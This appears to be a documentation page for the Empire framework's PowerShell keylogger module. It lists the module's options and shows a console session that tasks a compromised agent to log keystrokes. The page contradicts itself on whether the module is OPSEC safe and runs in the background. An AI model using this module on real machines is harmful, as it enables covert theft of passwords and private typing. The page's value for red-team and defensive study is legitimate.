Get-KeyStrokes - Empire Module


This page contains detailed information about how to use the powershell/collection/keylogger Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: Get-KeyStrokes
Module: powershell/collection/keylogger
Source code [1]: empire/server/modules/powershell/collection/keylogger.yaml
Source code [2]: empire/server/data/module_source/collection/Get-Keystrokes.ps1
MITRE ATT&CK: T1056
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes

The keylogger module logs keys pressed, time and the active window (when changed) to the keystrokes.txt file. This file is located in the agents downloads directory Empire/downloads//keystrokes.txt.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the keylogger module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the keylogger module:

Agent
Agent to run module on.

Additional Module Options


This is a list of additional options that are supported by the keylogger module:

Sleep
Sleep time [ms] between key presses. Shorter times may increase CPU usage on the target.

Keylogger Example Usage


Here's an example of how to use the keylogger module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/keylogger

 Author       @obscuresec                                                            
              @mattifestation                                                        
              @harmj0y                                                               
 Background   True                                                                   
 Comments     https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration 
              /Get-Keystrokes.ps1                                                    
 Description  Logs keys pressed, time and the active window (when changed) to the    
              keystrokes.txt file. This file is located in the agents downloads      
              directory Empire/downloads/<AgentName>/keystrokes.txt.                 
 Language     powershell                                                             
 Name         powershell/collection/keylogger                                        
 NeedsAdmin   False                                                                  
 OpsecSafe    True                                                                   
 Techniques   http://attack.mitre.org/techniques/T1056                               


,Record Options-,----------,-------------------------------------,
| Name  | Value | Required | Description                         |
|-------|-------|----------|-------------------------------------|
| Agent |       | True     | Agent to run module on.             |
|-------|-------|----------|-------------------------------------|
| Sleep | 1     | False    | Sleep time [ms] between key         |
|       |       |          | presses. Shorter times may increase |
|       |       |          | CPU usage on the target.            |
'-------'-------'----------'-------------------------------------'

(Empire: usemodule/powershell/collection/keylogger) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/keylogger) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors


References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.